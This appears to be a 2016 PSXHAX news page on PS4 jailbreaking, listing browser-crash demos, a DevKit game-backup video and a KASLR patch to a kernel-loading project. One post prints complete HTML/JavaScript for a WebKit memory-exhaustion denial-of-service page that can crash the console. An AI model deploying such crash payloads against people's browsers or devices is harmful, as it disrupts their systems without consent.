PS4 Jailbreaking

PS4 Web Crash Demo for 4.05, 4.01, 3.55 and 3.50 Firmware

Following the PS4 Webkit Crash from a few days ago, I (aka JDM-420) found another PlayStation 4 Web crash and tested it on PS4 4.05 Firmware.

It also should work from 3.50 upwards including 3.55 and 4.01.. here is the video.

To use this sign into Google, go to photos, go to tab shared and hit back into the pull down menu.

Could be useful, who knows. Web crash PS4 untested below 3.50, should work 3.50 up to 4.05 though.

PS4 Jailbreaking ANONYM0US Oct 30, 2016 at 3:15 AM 6

PS4 Game Backup Runs on PlayStation 4 DevKit PoC by Jose Coixao!

Lately there's been a lot of news on the PS4 TestKit, and for those keeping track the PS3 Debug / Reference Tool and PS Vita DevKit could play copies and now José Coixão shared a video demo of a PS4 DevKit running a Minecraft PlayStation 4 Edition game backup too!

From the PS4 Backup DevKit PoC video's caption, to quote:

also works on testkit
doesn't work on retail (yet)
trophies will not work

This news comes just a day after @zecoxao's Decrypting and Dumping PlayStation 4 UserModules Guide, and a very BIG shout out to @AkaJogi, @ArthurBishop, @Jeff and @mcmrc1 in the PSXHAX Shoutbox for sharing this exciting PS4 news!

PS4 Jailbreaking PSXHAX Oct 29, 2016 at 1:51 AM 18

Kaslr 3.55, 4.00 & 4.01 by 5lipper in Fail0verflow PS4 Kexec GIT

Following the Chaitin Tech PS4 ROP Tool, 5lipper recently added PlayStation 4 Kaslr (Kernel Address Space Layout Randomization) 3.55, 4.00 and 4.01 Firmware support in fail0verflow's PS4 Kexec GIT.

While that was done a few days ago and mentioned by @Fimo among others in the Shoutbox and on Twitter (below), today @RazorMC shared some additional details from the GIT via Hydrogen at NGU, to quote:

Hello NextGenUpdate, yesterday, a user named 5lipper, has now added extra support for kaslr on PS4 for firmwares: 3.55, 4.00, and 4.01. If you find it interesting, and useful. They have added it onto fail0verflow's PS4 Kexec GitHub.

To find it and use it, click here: Fail0verflow's PS4 Kexec GitHub

--Makefile--

Code:

@@ -1,11 +1,8 @@
-ifdef DDO_NOT_REMAP_RWX
-DO_NOT_REMAP_RWX := -DDO_NOT_REMAP_RWX
-endif
-
-CFLAGS := -march=btver2 -masm=intel -std=gnu11 -ffreestanding -fno-common \
+CFLAGS=$(CFLAG)
+CFLAGS += -march=btver2 -masm=intel -std=gnu11 -ffreestanding -fno-common \
     -fPIC -fomit-frame-pointer -nostdlib -nostdinc \
     -fno-asynchronous-unwind-tables \
-    -Os -Wall -Werror -Wl,--build-id=none,-T,kexec.ld,--nmagic $(DO_NOT_REMAP_RWX)
+    -Os -Wall -Werror -Wl,--build-id=none,-T,kexec.ld,--nmagic
 
 SOURCES := kernel.c kexec.c linux_boot.c linux_thunk.S uart.c firmware.c

--README.md--

Code:

@@ -34,6 +34,14 @@ You may pass something other than NULL as `early_printf`. In that case, that
 function will be used for debug output during early symbol resolution, before
 printf is available.
 
+Since PS4 3.55(?), KASLR(Kernel Address Space Layout Randomization) is
+enabled by default, symtab also disappears in newer kernel, we have to
+hardcode offsets for some symbols. Currently we use the `early_printf`
+given by user to caculate the base address of kernel, then relocate all the
+symbols from the kernel base. You could enable this feature like...

PS4 Jailbreaking PSXHAX Oct 29, 2016 at 12:45 AM 5

PS4 4.01 Webkit DoS Exploit (Crashes Full System Sometimes)

So, I found a vulnerability (Original found by Dr_IDE) that seems to work on PS4, I modified the HTML code a little, just to make it say Webkit crash at the top and to add a "start exploit" button, and to make it more reliable on the PS4 web browser.

Anyways, I have been testing this vulnerability out and it seems to sometimes crash the entire system and requires a reboot to be usable again.

I have a video of what it did after I tried this (after 1 reboot):

For all the people who want to try it right now, EdiTzZMoDz on twitter added the exploit to his site: http://ps4.editzz.net/dos401/index.html

Here is the code:

Basic Coding.. Crashes Phones... Mean not worth the time on ps4

Code:

<html>
<title>Not Enough Free System Memory DoS Exploit</title>
<head>
<script>
function dos()
 {
    var longunistring1 = unescape("%u4141%u4141");
    var longunistring2 = unescape("%u4242%u4242");
    var longunistring3 = unescape("%u4343%u4343");
    var longunistring4 = unescape("%u4444%u4444");
        var longunistring5 = unescape("%u4545%u4545");
    var longunistring6 = unescape("%u4646%u4646");
    var longunistring7 = unescape("%u4747%u4747");

    for(i=0; i <= 950 ; ++i)
 {
        longunistring1+=longunistring1;
        longunistring2+=longunistring2;
        longunistring3+=longunistring3;
        longunistring4+=longunistring4;
        longunistring5+=longunistring5;
        longunistring6+=longunistring6;
        longunistring7+=longunistring7;
        document.write(longunistring1);
        document.write(longunistring2);
        document.write(longunistring3);
        document.write(longunistring4);
        document.write(longunistring5);
        document.write(longunistring6);
        document.write(longunistring7);
    }
    document.write(longunistring1);
    document.write(longunistring2);
    document.write(longunistring3);
    document.write(longunistring4);
    document.write(longunistring5);
    document.write(longunistring6);
    document.write(longunistring7);
}
</script>
</head>
<body>
<input type="button" value="Start Exploit" onclick="dos();">
</body>
</html>

PS4 Jailbreaking Insityyy Oct 28, 2016 at 7:32 PM 15

SilicaAndPina PS4 Web Browser Crash HENkaku4.tk Webpage Demo

Following the PS4 JailBreak ROP Tool release yesterday and many PS4 WebKit Crash videos, today PlayStation 4 developer @SilicaAndPina ran across another which she linked on her HENkaku4.tk page as a proof-of-concept with a demo below!

Not to be confused with the PlayStation 4 3.55 code execution PS4 HENkaku Exploit, to give the PS4 Web Browser Crash a try, simply:

Navigate to HENkaku4.tk on your PS4 (similar PS4 browser test page located at PS4-Expo.NeoCities.org and also PS4Playground.tk)
Click on the 'Crash The Browser (Ps4)' link (or run PSNS: from the PS4 browser)
Profit and post your results below if you're feeling froggy

There are also some DEX (Debug) PlayStation Store launchers on the HENkaku4.tk page too for those with a Developer PS Vita or PS4 console.

Below are some related Tweets from SilicaAndPina, and also check out her Silica YouTube Channel for a lot of other kewl demonstration videos.

PS: If you haven't done so already, check out the SPOILER near the bottom of THIS article for a plethora of useful PlayStation file download links from her as well!

Thanks to @PS4HELPER123 for the news in the PSXHAX Shoutbox!

PS4 Jailbreaking PSXHAX Oct 28, 2016 at 12:45 AM 15

PS4 Jailbreaking

PSXHAX Categories

Share This Page